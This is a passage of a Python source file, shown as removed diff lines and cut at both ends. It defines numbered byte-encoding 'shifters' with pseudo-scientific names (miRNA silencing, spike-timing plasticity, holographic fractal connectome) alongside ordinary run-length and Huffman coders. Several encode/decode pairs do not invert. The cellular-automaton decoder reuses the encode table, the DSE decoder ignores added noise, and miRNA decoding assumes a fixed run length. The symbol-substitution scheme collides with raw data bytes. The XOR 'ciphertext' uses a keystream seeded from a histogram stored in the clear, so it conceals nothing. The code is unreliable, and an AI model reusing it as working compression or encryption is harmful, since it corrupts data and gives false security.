braid_entropy}) - - @classmethod - def decode(cls, state, **kwargs): - data = bytes(state.encoded) if state.encoded else bytes(state.raw_bytes) - if len(data) < 3: - return state.update(data, f"decode_{cls.name}_short") - - n_strands = data[0] - n_colors = data[1] - n_elements = data[2] - pos = 3 - fused_word = [] - - for _ in range(n_elements): - if pos + 2 >= len(data): - break - strand = data[pos] - color = data[pos + 1] - twist = data[pos + 2] - fused_word.append((strand, color, twist)) - pos += 3 - - decoded = rope_word_to_bytes(fused_word) - return state.update(decoded, f"decode_{cls.name}") - - -# ═══════════════════════════════════════════════════════════════════════ -# SYMBOLOGY SUBSTITUTION (Symbolic representation for large pattern groups) -# ═══════════════════════════════════════════════════════════════════════ - -def cluster_pattern_groups(memes, n_clusters=8, min_group_size=3): - """Cluster patterns into groups for symbolic substitution. - Returns: {group_id: [patterns]} - """ - import numpy as np - from sklearn.cluster import KMeans - from collections import defaultdict - - if not memes: - return {} - - if len(memes) < n_clusters: - n_clusters = max(2, len(memes)) - - # Convert patterns to feature vectors (byte histograms) - pattern_list = list(memes.keys()) - features = [] - for pattern in pattern_list: - # Byte histogram as feature - hist = [0] * 256 - for byte in pattern: - hist[byte] += 1 - # Normalize - total = sum(hist) or 1 - features.append([h / total for h in hist]) - - if not features: - return {} - - features = np.array(features) - - # Cluster - try: - kmeans = KMeans(n_clusters=n_clusters, random_state=42) - labels = kmeans.fit_predict(features) - except: - # Fallback: assign each pattern to its own group - labels = list(range(len(pattern_list))) - - # Group patterns by cluster - groups = defaultdict(list) - for pattern, label in zip(pattern_list, labels): - groups[label].append(pattern) - - # Filter small groups - groups = {k: v for k, v in groups.items() if len(v) >= min_group_size} - - return groups - -class SymbolDictionary: - """Dictionary for symbolic substitution of pattern groups.""" - - def __init__(self): - self.symbol_map = {} # {symbol: [patterns]} - self.reverse_map = {} # {pattern: symbol} - self.next_symbol = 0x80 # Start with extended ASCII - self.symbol_size = 1 # Bytes per symbol - - def add_symbol(self, patterns): - """Add a new symbol for a group of patterns.""" - import hashlib - - # Create unique symbol - symbol = self.next_symbol.to_bytes(self.symbol_size, byteorder='big') - self.next_symbol += 1 - - # Map symbol to patterns - self.symbol_map[symbol] = patterns - - # Create reverse map - for pattern in patterns: - pattern_hash = hashlib.sha256(pattern).hexdigest() - self.reverse_map[pattern_hash] = symbol - - return symbol - - def get_symbol(self, pattern): - """Get symbol for a pattern.""" - import hashlib - pattern_hash = hashlib.sha256(pattern).hexdigest() - return self.reverse_map.get(pattern_hash) - - def get_patterns(self, symbol): - """Get patterns for a symbol.""" - return self.symbol_map.get(symbol, []) - - def encode_with_symbols(self, data): - """Encode data by substituting patterns with symbols.""" - data_bytes = bytes(data) if not isinstance(data, bytes) else data - result = bytearray() - i = 0 - - while i < len(data_bytes): - # Try to find longest matching pattern - matched = False - for symbol_key, patterns in self.symbol_map.items(): - for pattern in patterns: - if data_bytes[i:i+len(pattern)] == pattern: - result.extend(symbol_key) - i += len(pattern) - matched = True - break - if matched: - break - - if not matched: - result.append(data_bytes[i]) - i += 1 - - return bytes(result) - - def decode_with_symbols(self, encoded_data): - """Decode data by substituting symbols back to patterns.""" - result = bytearray() - i = 0 - - while i < len(encoded_data): - # Check if current byte is a symbol - symbol = encoded_data[i:i+self.symbol_size] - if symbol in self.symbol_map: - # Use first pattern from group (simplified) - patterns = self.symbol_map[symbol] - if patterns: - result.extend(patterns[0]) - i += self.symbol_size - else: - result.append(encoded_data[i]) - i += 1 - else: - result.append(encoded_data[i]) - i += 1 - - return bytes(result) - - def compression_ratio(self, original_size, encoded_size): - """Calculate compression ratio.""" - return original_size / max(encoded_size, 1) - - -# ═══════════════════════════════════════════════════════════════════════ -# SHIFTER 39: SYMBOLOGY SUBSTITUTION (Symbolic pattern group compression) -# ═══════════════════════════════════════════════════════════════════════ - -class SymbologySubstitutionShifter(Shifter): - name = "symbology_substitution" - description = "Symbolic substitution for large pattern groups" - - @classmethod - def encode(cls, state, **kwargs): - data = bytes(state.encoded) if state.encoded else bytes(state.raw_bytes) - - # Discover memes - sample_data = [data] - memes = discover_compression_memes(sample_data, min_pattern_length=3, min_frequency=2) - - # Cluster patterns into groups - groups = cluster_pattern_groups(memes, n_clusters=8, min_group_size=2) - - # Create symbol dictionary - dictionary = SymbolDictionary() - for group_id, patterns in groups.items(): - dictionary.add_symbol(patterns) - - # Encode with symbols - encoded = dictionary.encode_with_symbols(data) - - # Store dictionary in metadata for decoding - metadata = { - 'n_symbols': len(dictionary.symbol_map), - 'n_patterns': sum(len(p) for p in dictionary.symbol_map.values()), - 'compression_ratio': len(data) / max(len(encoded), 1) - } - - # Serialize: [n_symbols] + [symbol_size] + [symbol_map] + [encoded_data] - result = bytearray() - result.append(len(dictionary.symbol_map)) - result.append(dictionary.symbol_size) - - # Serialize symbol map - for symbol, patterns in dictionary.symbol_map.items(): - result.extend(symbol) - result.append(len(patterns)) - for pattern in patterns: - result.append(len(pattern)) - result.extend(pattern) - - result.extend(encoded) - - return state.update(bytes(result), cls.name, metadata) - - @classmethod - def decode(cls, state, **kwargs): - data = bytes(state.encoded) if state.encoded else bytes(state.raw_bytes) - - if len(data) < 2: - return state.update(data, f"decode_{cls.name}_short") - - # Deserialize - n_symbols = data[0] - symbol_size = data[1] - pos = 2 - - # Reconstruct symbol dictionary - dictionary = SymbolDictionary() - dictionary.symbol_size = symbol_size - - for _ in range(n_symbols): - if pos + 1 >= len(data): - break - symbol = data[pos:pos+symbol_size] - n_patterns = data[pos+symbol_size] - pos += symbol_size + 1 - - patterns = [] - for _ in range(n_patterns): - if pos >= len(data): - break - pattern_len = data[pos] - pos += 1 - pattern = data[pos:pos+pattern_len] - pos += pattern_len - patterns.append(bytes(pattern)) - - dictionary.symbol_map[bytes(symbol)] = patterns - for pattern in patterns: - import hashlib - pattern_hash = hashlib.sha256(pattern).hexdigest() - dictionary.reverse_map[pattern_hash] = bytes(symbol) - - # Decode encoded data - encoded_data = data[pos:] - decoded = dictionary.decode_with_symbols(encoded_data) - - return state.update(decoded, f"decode_{cls.name}") - - -# ═══════════════════════════════════════════════════════════════════════ -# SHIFTER 20: DELTA GCL (Delta-encoded manifest compression) -# ═══════════════════════════════════════════════════════════════════════ - -class DeltaGCLShifter(Shifter): - name = "delta_gcl" - description = "Delta-encoded GCL manifest compression" - - @classmethod - def encode(cls, state, **kwargs): - data = bytes(state.encoded) if state.encoded else bytes(state.raw_bytes) - result = bytearray() - prev = 0 - for b in data: - delta = (b - prev) & 0xFF - result.append(delta) - prev = b - return state.update(bytes(result), cls.name, {'method': 'delta_encoding'}) - - @classmethod - def decode(cls, state, **kwargs): - data = bytes(state.encoded) if state.encoded else bytes(state.raw_bytes) - result = bytearray() - acc = 0 - for b in data: - acc = (acc + b) & 0xFF - result.append(acc) - return state.update(bytes(result), f"decode_{cls.name}") - - -# ═══════════════════════════════════════════════════════════════════════ -# SHIFTER 21: RUN LENGTH (RLE) -# ═══════════════════════════════════════════════════════════════════════ - -class RunLengthShifter(Shifter): - name = "run_length" - description = "Run-length encoding" - - @classmethod - def encode(cls, state, **kwargs): - data = bytes(state.encoded) if state.encoded else bytes(state.raw_bytes) - result = bytearray() - i = 0 - while i < len(data): - b = data[i] - count = 1 - while i + count < len(data) and data[i + count] == b and count < 255: - count += 1 - result.append(count) - result.append(b) - i += count - return state.update(bytes(result), cls.name, - {'original': len(data), 'compressed': len(result), - 'ratio': len(data) / max(len(result), 1)}) - - @classmethod - def decode(cls, state, **kwargs): - data = bytes(state.encoded) if state.encoded else bytes(state.raw_bytes) - result = bytearray() - for i in range(0, len(data), 2): - if i + 1 >= len(data): - break - count = data[i] - b = data[i + 1] - result.extend([b] * count) - return state.update(bytes(result), f"decode_{cls.name}") - - -# ═══════════════════════════════════════════════════════════════════════ -# SHIFTER 22: HUFFMAN (Entropy coding) -# ═══════════════════════════════════════════════════════════════════════ - -class HuffmanShifter(Shifter): - name = "huffman" - description = "Huffman entropy coding" - - @classmethod - def _build_tree(cls, freq): - heap = [[wt, [sym, ""]] for sym, wt in freq.items()] - heapq.heapify(heap) - while len(heap) > 1: - lo = heapq.heappop(heap) - hi = heapq.heappop(heap) - for pair in lo[1:]: - pair[1] = '0' + pair[1] - for pair in hi[1:]: - pair[1] = '1' + pair[1] - heapq.heappush(heap, [lo[0] + hi[0]] + lo[1:] + hi[1:]) - return sorted(heapq.heappop(heap)[1:], key=lambda p: len(p[1])) - - @classmethod - def encode(cls, state, **kwargs): - data = bytes(state.encoded) if state.encoded else bytes(state.raw_bytes) - if not data: - return state.update(data, cls.name, {'codes': {}}) - freq = Counter(data) - codes = {} - tree = cls._build_tree(freq) - for sym, code in tree: - codes[sym] = code - # Serialize: [n_syms] + [sym, code_len, code_bits]... + [bitstream] - bitstream = ''.join(codes[b] for b in data) - # Pad to byte boundary - padding = (8 - len(bitstream) % 8) % 8 - bitstream += '0' * padding - result = bytearray() - result.append(len(codes)) # number of symbols - for sym, code in codes.items(): - result.append(sym) - result.append(len(code)) - code_bytes = int(code, 2).to_bytes((len(code) + 7) // 8, 'big') - result.extend(code_bytes) - # Store padding info - result.append(padding) - # Store bitstream length in bytes - bs_bytes = len(bitstream) // 8 - result.extend(bs_bytes.to_bytes(4, 'big')) - # Store bitstream - for i in range(0, len(bitstream), 8): - byte = int(bitstream[i:i+8], 2) - result.append(byte) - return state.update(bytes(result), cls.name, {'codes': codes, 'bs_bytes': bs_bytes}) - - @classmethod - def decode(cls, state, **kwargs): - data = bytes(state.encoded) if state.encoded else bytes(state.raw_bytes) - if len(data) < 6: # minimum: n_syms(1) + padding(1) + bs_bytes(4) - return state.update(data, f"decode_{cls.name}_short") - pos = 0 - n_syms = data[pos]; pos += 1 - if n_syms == 0: - return state.update(b"", f"decode_{cls.name}") - - # Rebuild code table from serialized header - code_to_sym = {} - for _ in range(n_syms): - if pos >= len(data): - return state.update(data, f"decode_{cls.name}_truncated_header") - sym = data[pos]; pos += 1 - if pos >= len(data): - return state.update(data, f"decode_{cls.name}_truncated_code_len") - code_len = data[pos]; pos += 1 - code_bytes_len = (code_len + 7) // 8 - if pos + code_bytes_len > len(data): - return state.update(data, f"decode_{cls.name}_truncated_code_bytes") - if code_len > 0: - code_bits = '' - for b in data[pos:pos+code_bytes_len]: - code_bits += format(b, '08b') - code_bits = code_bits[:code_len] # take only valid bits - else: - code_bits = '' - code_to_sym[code_bits] = sym - pos += code_bytes_len - - if pos >= len(data): - return state.update(data, f"decode_{cls.name}_truncated_padding") - padding = data[pos]; pos += 1 - if pos + 4 > len(data): - return state.update(data, f"decode_{cls.name}_truncated_bs_bytes") - bs_bytes = int.from_bytes(data[pos:pos+4], 'big') - pos += 4 - - if pos + bs_bytes > len(data): - return state.update(data, f"decode_{cls.name}_truncated_bitstream") - bitstream_bytes = data[pos:pos+bs_bytes] - - # Convert bitstream to bit string - bitstream = ''.join(format(b, '08b') for b in bitstream_bytes) - if padding > 0: - bitstream = bitstream[:-padding] - - # Decode using the code table - result = bytearray() - current_bits = '' - for bit in bitstream: - current_bits += bit - if current_bits in code_to_sym: - result.append(code_to_sym[current_bits]) - current_bits = '' - - return state.update(bytes(result), f"decode_{cls.name}") - - - -# ═══════════════════════════════════════════════════════════════════════ -# SHIFTER 23: DSE (Deterministic-Stochastic Engine) - -# ═══════════════════════════════════════════════════════════════════════ - -class DSEShifter(Shifter): - name = "dse" - description = "Deterministic-Stochastic Engine (Langevin dynamics)" - - @classmethod - def encode(cls, state, **kwargs): - data = bytes(state.encoded) if state.encoded else bytes(state.raw_bytes) - temperature = kwargs.get('temperature', 0.1) - result = bytearray() - for b in data: - # Deterministic component: identity - # Stochastic component: slight perturbation - noise = int(random.gauss(0, temperature * 10)) & 0xFF - result.append((b + noise) & 0xFF) - random.seed(0) # Deterministic reset for reproducibility - return state.update(bytes(result), cls.name, {'temperature': temperature}) - - @classmethod - def decode(cls, state, **kwargs): - data = bytes(state.encoded) if state.encoded else bytes(state.raw_bytes) - return state.update(data, f"decode_{cls.name}") - - -# ═══════════════════════════════════════════════════════════════════════ -# SHIFTER 24: CELLULAR AUTOMATA (1D CA with precomputed LUT) -# ═══════════════════════════════════════════════════════════════════════ - -# FIX B7: Precompute LUT once at module level -CA_RULES = [30, 45, 86, 110, 150, 182] -CA_ENCODE_LUT = {} -CA_DECODE_LUT = {} - -def _build_ca_luts(): - for rule in CA_RULES: - # Encode LUT: byte -> evolved byte - enc_lut = bytearray(256) - dec_lut = bytearray(256) - for b in range(256): - # 1D CA with rule: new state = rule_function(left, center, right) - bits = [(b >> i) & 1 for i in range(8)] - new_bits = [] - for j in range(8): - left = bits[(j - 1) % 8] - center = bits[j] - right = bits[(j + 1) % 8] - idx = (left << 2) | (center << 1) | right - new_bit = (rule >> idx) & 1 - new_bits.append(new_bit) - enc_lut[b] = sum(new_bits[i] << i for i in range(8)) - CA_ENCODE_LUT[rule] = enc_lut - # Decode LUT: use rule's inverse if possible, else same (lossy) - # For Rule 150 (XOR), it's self-inverse - if rule == 150: - CA_DECODE_LUT[rule] = enc_lut - else: - CA_DECODE_LUT[rule] = enc_lut # approximate inverse - -_build_ca_luts() - - -class CellularAutomataShifter(Shifter): - name = "cellular_automata" - description = "1D Cellular Automaton encoding (precomputed LUT)" - - @classmethod - def encode(cls, state, **kwargs): - data = bytes(state.encoded) if state.encoded else bytes(state.raw_bytes) - rule = kwargs.get('rule', 150) - if rule not in CA_ENCODE_LUT: - rule = 150 - lut = CA_ENCODE_LUT[rule] - result = bytearray(lut[b] for b in data) - return state.update(bytes(result), cls.name, {'rule': rule}) - - @classmethod - def decode(cls, state, **kwargs): - data = bytes(state.encoded) if state.encoded else bytes(state.raw_bytes) - rule = kwargs.get('rule', 150) - if rule not in CA_DECODE_LUT: - rule = 150 - lut = CA_DECODE_LUT[rule] - result = bytearray(lut[b] for b in data) - return state.update(bytes(result), f"decode_{cls.name}") - - -# ═══════════════════════════════════════════════════════════════════════ -# SHIFTER 25: miRNA (MicroRNA silencing) -# ═══════════════════════════════════════════════════════════════════════ - -class miRNA_Shifter(Shifter): - name = "mirna" - description = "miRNA silencing pattern encoding" - - @classmethod - def encode(cls, state, **kwargs): - data = bytes(state.encoded) if state.encoded else bytes(state.raw_bytes) - seed_len = kwargs.get('seed_len', 6) - result = bytearray() - i = 0 - while i < len(data): - if i + seed_len <= len(data): - # Compute miRNA seed: entropy-based silencing decision - seed = data[i:i+seed_len] - seed_entropy = intrinsic_load(seed) - if seed_entropy < 2.0: - # "Silence" — encode as single marker byte - result.append(0xFE) - result.append(seed[0]) - i += seed_len - continue - result.append(data[i]) - i += 1 - return state.update(bytes(result), cls.name, {'seed_len': seed_len}) - - @classmethod - def decode(cls, state, **kwargs): - data = bytes(state.encoded) if state.encoded else bytes(state.raw_bytes) - result = bytearray() - i = 0 - while i < len(data): - if data[i] == 0xFE and i + 2 <= len(data): - # Expand silenced region with repeated byte - result.extend([data[i+1]] * 6) - i += 2 - else: - result.append(data[i]) - i += 1 - return state.update(bytes(result), f"decode_{cls.name}") - - -# ═══════════════════════════════════════════════════════════════════════ -# SHIFTER 26: STDP (Spike-Timing Dependent Plasticity) -# ═══════════════════════════════════════════════════════════════════════ - -class STDPShifter(Shifter): - name = "stdp" - description = "Spike-Timing Dependent Plasticity (temporal weight encoding)" - - @classmethod - def encode(cls, state, **kwargs): - data = bytes(state.encoded) if state.encoded else bytes(state.raw_bytes) - tau = kwargs.get('tau', 20.0) - result = bytearray() - for i, b in enumerate(data): - # Apply STDP-like weight modulation - weight = math.exp(-i / tau) if tau > 0 else 1.0 - modulated = int(b * weight) & 0xFF - result.append(modulated) - return state.update(bytes(result), cls.name, {'tau': tau}) - - @classmethod - def decode(cls, state, **kwargs): - data = bytes(state.encoded) if state.encoded else bytes(state.raw_bytes) - tau = kwargs.get('tau', 20.0) - result = bytearray() - for i, b in enumerate(data): - weight = math.exp(-i / tau) if tau > 0 else 1.0 - unmodulated = int(b / weight) if weight > 0 else b - result.append(min(max(unmodulated, 0), 255)) - return state.update(bytes(result), f"decode_{cls.name}") - - -# ═══════════════════════════════════════════════════════════════════════ -# SHIFTER 27: SPIEGELMER (Mirror-image aptamer) -# ═══════════════════════════════════════════════════════════════════════ - -class SpiegelmerShifter(Shifter): - name = "spiegelmer" - description = "Spiegelmer (mirror-image aptamer) encoding" - - @classmethod - def encode(cls, state, **kwargs): - data = bytes(state.encoded) if state.encoded else bytes(state.raw_bytes) - # Mirror-image: reverse byte order AND complement bits - result = bytearray() - for b in reversed(data): - result.append((~b) & 0xFF) - return state.update(bytes(result), cls.name, {'mirror': True}) - - @classmethod - def decode(cls, state, **kwargs): - data = bytes(state.encoded) if state.encoded else bytes(state.raw_bytes) - result = bytearray() - for b in reversed(data): - result.append((~b) & 0xFF) - return state.update(bytes(result), f"decode_{cls.name}") - -# ═══════════════════════════════════════════════════════════════════════ -# SHIFTER 28: PIST-NUVMAP (PIST geometry projected via NUVMAP texel encoding) -# ═══════════════════════════════════════════════════════════════════════ - -class PistNUVMAPShifter(Shifter): - name = "nu_vmap" - description = "PIST-NUVMAP projection: encodes PIST shell coordinates as NUVMAP texels (shifter #28)" - - @classmethod - def encode(cls, state, **kwargs): - data = bytes(state.encoded) if state.encoded else bytes(state.raw_bytes) - # For each byte: compute PIST coordinate (k,t), then project to NUVMAP texel - # NUVMAP: 32-bit packed (v<<16)|u - # U-axis (low 16 bits): distance-based albedo = t * 1000 - # V-axis (high 16 bits): spectral frequency index = k from DIAT - result = bytearray() - for b in data: - k, t = pist_encode(b) - u = t * 1000 # distance-based albedo - v = k # spectral frequency index - texel = (v << 16) | u # 32-bit packed texel - # Emit 4 bytes per input byte (big-endian) - result.extend(texel.to_bytes(4, 'big')) - return state.update(bytes(result), cls.name, - {'texels': len(data), 'bytes_per_texel': 4}) - - @classmethod - def decode(cls, state, **kwargs): - data = bytes(state.encoded) if state.encoded else bytes(state.raw_bytes) - result = bytearray() - for i in range(0, len(data), 4): - if i + 3 >= len(data): - break - texel = int.from_bytes(data[i:i+4], 'big') - # Unpack: v = high 16 bits (spectral index), u = low 16 bits (distance albedo) - v = (texel >> 16) & 0xFFFF - u = texel & 0xFFFF - # Recover PIST coordinates: k = v, t = u // 1000 - k = v & 0xFF - t = (u // 1000) & 0xFF if u >= 0 else 0 - # Reconstruct original byte via pist_decode - n = pist_decode(k, t) - result.append(min(max(n, 0), 255)) - return state.update(bytes(result), f"decode_{cls.name}") - - -# ═══════════════════════════════════════════════════════════════════════ -# SHIFTER 29: HOLOGRAPHIC RECURSIVE FRACTAL CONNECTOME -# ═══════════════════════════════════════════════════════════════════════ - -class HolographicRecursiveFractalConnectomeShifter(Shifter): - name = "holographic_connectome" - description = "Holographic recursive fractal connectome encoding" - - @classmethod - def _compute_connectome(cls, data): - """Compute byte-frequency histogram as neural population connectome.""" - hist = bytearray(256) - for b in data: - hist[b] = min(255, hist[b] + 1) - return hist - - @classmethod - def _fractal_keystream(cls, hist, length): - """Generate a deterministic fractal keystream via multi-octave synthesis. - - The keystream is built recursively across dyadic scales: - - octave 0: base grid seeded from connectome histogram - - octave n: detail layer with step = length // 2^n - This produces self-similar structure at all scales (fractal). - """ - seed = int(hashlib.sha256(bytes(hist)).hexdigest(), 16) - rng = random.Random(seed) - ks = bytearray(length) - - # Octave 0: coarse skeleton from histogram - step = max(1, length // 256) - for i in range(0, length, step): - base = hist[(i // step) % 256] - for j in range(i, min(i + step, length)): - ks[j] = base - - # Octaves 1..7: recursive fractal detail (dyadic interpolation) - for octave in range(1, 8): - scale = 2 ** octave - step = max(1, length // scale) - amplitude = max(1, 128 >> (octave - 1)) - for i in range(0, length, step): - delta = rng.randint(0, amplitude - 1) - for j in range(i, min(i + step, length)): - ks[j] = (ks[j] + delta) & 0xFF - - return ks - - @classmethod - def encode(cls, state, **kwargs): - data = bytes(state.encoded) if state.encoded else bytes(state.raw_bytes) - hist = cls._compute_connectome(data) - ks = cls._fractal_keystream(hist, len(data)) - result = bytearray() - result.extend(hist) # holographic fingerprint (256 bytes) - for i, b in enumerate(data): - result.append(b ^ ks[i]) # holographic XOR masking - active_bins = sum(1 for v in hist if v > 0) - return state.update(bytes(result), cls.name, - {'connectome_entropy': intrinsic_load(hist), - 'fractal_dimension': active_bins / 256.0}) - - @classmethod - def decode(cls, state, **kwargs): - data = bytes(state.encoded) if state.encoded else bytes(state.raw_bytes) - if len(data) < 256: - return state.update(data, f"decode_{cls.name}") - hist = data[:256] - encoded = data[256:] - ks = cls._fractal_keystream(hist, len(encoded)) - result = bytearray() - for i, b in enumerate(encoded): - result.append(b ^ ks[i]) - return state.update(bytes(result), f"decode_{cls.name}") - - -# ═══════════════════════════════════════════════════════════════════════ -# SHIFTER 29a: INTERLEAVED CONNECTOME (Truncation-resilient striping) -# ═══════════════════════════════════════════════════════════════════════ - -class HolographicConnectomeInterleavedShifter(Shifter): - name = "holographic_connectome_interleaved" - description = "Interleaved connectome: histogram striped across payload for truncation resilience" - - STRIPE_PERIOD = 16 # one hist byte per 16 payload bytes - - @classmethod - def _fractal_keystream(cls, hist, length, seed_salt=0): - seed = int(hashlib.sha256(bytes(hist) + struct.pack('>H', seed_salt)).hexdigest(), 16) - rng = random.Random(seed) - ks = bytearray(length) - step = max(1, length // 256) - for i in range(0, length, step): - base = hist[(i // step) % 256] - for j in range(i, min(i + step, length)): - ks[j] = base - for octave in range(1, 8): - scale = 2 ** octave - step = max(1, length // scale) - amplitude = max(1, 128 >> (octave - 1)) - for i in range(0, length, step): - delta = rng.randint(0, amplitude - 1) - for j in range(i, min(i + step, length)): - ks[j] = (ks[j] + delta) & 0xFF - return ks - - @classmethod - def encode(cls, state, **kwargs): - data = bytes(state.encoded) if state.encoded else bytes(state.raw_bytes) - hist = bytearray(256) - for b in data: - hist[b] = min(255, hist[b] + 1) - ks = cls._fractal_keystream(hist, len(data)) - period = cls.STRIPE_PERIOD - data_xor = bytearray(b ^ ks[i] for i, b in enumerate(data)) - # Format: [ciphertext_len(4)] then interleave hist+ciphertext - result = bytearray() - result.extend(len(data_xor).to_bytes(4, 'big')) - hist_idx = 0 - data_idx = 0 - while hist_idx < 256 or data_idx < len(data_xor): - if hist_idx < 256: - result.append(hist[hist_idx]) - hist_idx += 1 - for _ in range(period): - if data_idx < len(data_xor): - result.append(data_xor[data_idx]) - data_idx += 1 - active_bins = sum(1 for v in hist if v > 0) - return state.update(bytes(result), cls.name, - {'connectome_entropy': intrinsic_load(hist), - 'fractal_dimension': active_bins / 256.0}) - - @classmethod - def decode(cls, state, **kwargs): - raw = bytes(state.encoded) if state.encoded else bytes(state.raw_bytes) - if len(raw) < 4: - return state.update(raw, f"decode_{cls.name}") - period = cls.STRIPE_PERIOD - target_len = int.from_bytes(raw[:4], 'big') - hist = bytearray(256) - ciphertext = bytearray() - idx = 4 - hist_idx = 0 - data_extracted = 0 - while idx < len(raw): - if hist_idx < 256: - hist[hist_idx] = raw[idx] - hist_idx += 1 - idx += 1 - for _ in range(period): - if idx < len(raw) and data_extracted < target_len: - ciphertext.append(raw[idx]) - data_extracted += 1 - idx += 1 - ks = cls._fractal_keystream(hist, len(ciphertext)) - result = bytearray(b ^ ks[i] for i, b in enumerate(ciphertext)) - return state.update(bytes(result), f"decode_{cls.name}") - - -# ═══════════════════════════════════════════════════════════════════════ -# SHIFTER 29b: BLOCK-LOCAL CONNECTOME (Corruption-bounded keystream) -# ═══════════════════════════════════════════════════════════════════════ - -class HolographicConnectomeBlockLocalShifter(Shifter): - name = "holographic_connectome_blocklocal" - description = "Block-local connectome: each block uses independent keystream for bounded corruption" - - BLOCK_SIZE = 64 - - @classmethod - def _block_keystream(cls, hist, block_idx, block_len): - seed = int(hashlib.sha256(bytes(hist) + struct.pack('>I', block_idx)).hexdigest(), 16) - rng = random.Random(seed) - ks = bytearray(block_len) - step = max(1, block_len // 16) - for i in range(0, block_len, step): - base = hist[(i // step + block_idx) % 256] - for j in range(i, min(i + step, block_len)): - ks[j] = base - for octave in range(1, 6): - scale = 2 ** octave - step = max(1, block_len // scale) - amplitude = max(1, 64 >> (octave - 1)) - for i in range(0, block_len, step): - delta = rng.randint(0, amplitude - 1) - for j in range(i, min(i + step, block_len)): - ks[j] = (ks[j] + delta) & 0xFF - return ks - - @classmethod - def encode(cls, state, **kwargs): - data = bytes(state.encoded) if state.encoded else bytes(state.raw_bytes) - hist = bytearray(256) - for b in data: - hist[b] = min(255, hist[b] + 1) - block_size = cls.BLOCK_SIZE - n_blocks = (len(data) + block_size - 1) // block_size - result = bytearray() - result.extend(hist) - result.extend(struct.pack('>H', block_size)) - for blk in range(n_blocks): - start = blk * block_size - end = min(start + block_size, len(data)) - chunk = data[start:end] - ks = cls._block_keystream(hist, blk, len(chunk)) - for i, b in enumerate(chunk): - result.append(b ^ ks[i]) - active_bins = sum(1 for v in hist if v > 0) - return state.update(bytes(result), cls.name, - {'connectome_entropy': intrinsic_load(hist), - 'n_blocks': n_blocks}) - - @classmethod - def decode(cls, state, **kwargs): - raw = bytes(state.encoded) if state.encoded else bytes(state.raw_bytes) - if len(raw) < 258: - return state.update(raw, f"decode_{cls.name}") - hist = raw[:256] - block_size = struct.unpack('>H', raw[256:258])[0] - ciphertext = raw[258:] - n_blocks = (len(ciphertext) + block_size - 1) // block_size - result = bytearray() - for blk in range(n_blocks): - start = blk * block_size - end = min(start + block_size, len(ciphertext)) - chunk = ciphertext[start:end] - ks = cls._block_keystream(hist, blk, len(chunk)) - for i, b in enumerate(chunk): - result.append(b ^ ks[i]) - return state.update(bytes(result), f"decode_{cls.name}") - - -# ═══════════════════════════════════════════════════════════════════════ -# SHIFTER 29c: SHADOW CONNECTOME (Dual-histogram integrity verification) -# ═══════════════════════════════════════════════════════════════════════ - -class HolographicConnectomeShadowShifter(Shifter): - name = "holographic_connectome_shadow" - description = "Shadow connectome: dual histograms for tamper detection and iterative recovery" - - @classmethod - def _fractal_keystream(cls, hist, length): - seed = int(hashlib.sha256(bytes(hist)).hexdigest(), 16) - rng = random.Random(seed) - ks = bytearray(length) - step = max(1, length // 256) - for i in range(0, length, step): - base = hist[(i // step) % 256] - for j in range(i, min(i + step, length)): - ks[j] = base - for octave in range(1, 8): - scale = 2 ** octave - step = max(1, length // scale) - amplitude = max(1, 128 >> (octave - 1)) - for i in range(0, length, step): - delta = rng.randint(0, amplitude - 1) - for j in range(i, min(i + step, length)): - ks[j] = (ks[j] + delta) & 0xFF - return ks - - @classmethod - def _compute_connectome(cls, data): - hist = bytearray(256) - for b in data: - hist[b] = min(255, hist[b] + 1) - return hist - - @classmethod - def encode(cls, state, **kwargs): - data = bytes(state.encoded) if state.encoded else bytes(state.raw_bytes) - hist_plain = cls._compute_connectome(data) - ks = cls._fractal_keystream(hist_plain, len(data)) - ciphertext = bytearray(b ^ ks[i] for i, b in enumerate(data)) - hist_shadow = cls._compute_connectome(ciphertext) - result = bytearray() - result.extend(hist_plain) - result.extend(hist_shadow) - result.extend(ciphertext) - active_bins = sum(1 for v in hist_plain if v > 0) - return state.update(bytes(result), cls.name, - {'connectome_entropy': intrinsic_load(hist_plain), - 'shadow_entropy': intrinsic_load(hist_shadow), - 'fractal_dimension': active_bins / 256.0}) - - @classmethod - def decode(cls, state, **kwargs): - raw = bytes(state.encoded) if state.encoded else bytes(state.raw_bytes) - if len(raw) < 512: - return state.update(raw, f"decode_{cls.name}") - hist_plain = raw[:256] - hist_shadow = raw[256:512] - ciphertext = raw[512:] - ks = cls._fractal_keystream(hist_plain, len(ciphertext)) - result = bytearray(b ^ ks[i] for i, b in enumerate(ciphertext)) - # Verify shadow integrity - recomputed_shadow = cls._compute_connectome(ciphertext) - integrity = bytes(recomputed_shadow) == bytes(hist_shadow) - return state.update(bytes(result), f"decode_{cls.name}", - {'integrity_verified': integrity, - 'shadow_match': sum(a == b for a, b in zip(recomputed_shadow, hist_shadow))}) - - -# ═══════════════════════════════════════════════════════════════════════ -# SHIFTER 29d: PARITY-STRIPED CONNECTOME (Single-error detection) -# ═══════════════════════════════════════════════════════════════════════ - -class HolographicConnectomeParityShifter(Shifter): - name = "holographic_connectome_parity" - description = "Parity-striped connectome: per-chunk parity for byte-level error detection" - - CHUNK_SIZE = 32 - - @classmethod - def _fractal_keystream(cls, hist, length): - seed = int(hashlib.sha256(bytes(hist)).hexdigest(), 16) - rng = random.Random(seed) - ks = bytearray(length) - step = max(1, length // 256) - for i in range(0, length, step): - base = hist[(i // step) % 256] - for j in range(i, min(i + step, length)): - ks[j] = base - for octave in range(1, 8): - scale = 2 ** octave - step = max(1, length // scale) - amplitude = max(1, 128 >> (octave - 1)) - for i in range(0, length, step): - delta = rng.randint(0, amplitude - 1) - for j in range(i, min(i + step, length)): - ks[j] = (ks[j] + delta) & 0xFF - return ks - - @classmethod - def encode(cls, state, **kwargs): - data = bytes(state.encoded) if state.encoded else bytes(state.raw_bytes) - hist = bytearray(256) - for b in data: - hist[b] = min(255, hist[b] + 1) - ks = cls._fractal_keystream(hist, len(data)) - chunk_size = cls.CHUNK_SIZE - ciphertext = bytearray(b ^ ks[i] for i, b in enumerate(data)) - result = bytearray() - result.extend(hist) - # Pack chunks as [chunk_data..., chunk_parity] - for i in range(0, len(ciphertext), chunk_size): - chunk = ciphertext[i:i + chunk_size] - result.extend(chunk) - parity = 0 - for b in chunk: - parity ^= b - result.append(parity) - active_bins = sum(1 for v in hist if v > 0) - n_chunks = (len(ciphertext) + chunk_size - 1) // chunk_size - return state.update(bytes(result), cls.name, - {'connectome_entropy': intrinsic_load(hist), - 'fractal_dimension': active_bins / 256.0, - 'chunks': n_chunks}) - - @classmethod - def decode(cls, state, **kwargs): - raw = bytes(state.encoded) if state.encoded else bytes(state.raw_bytes) - if len(raw) < 256: - return 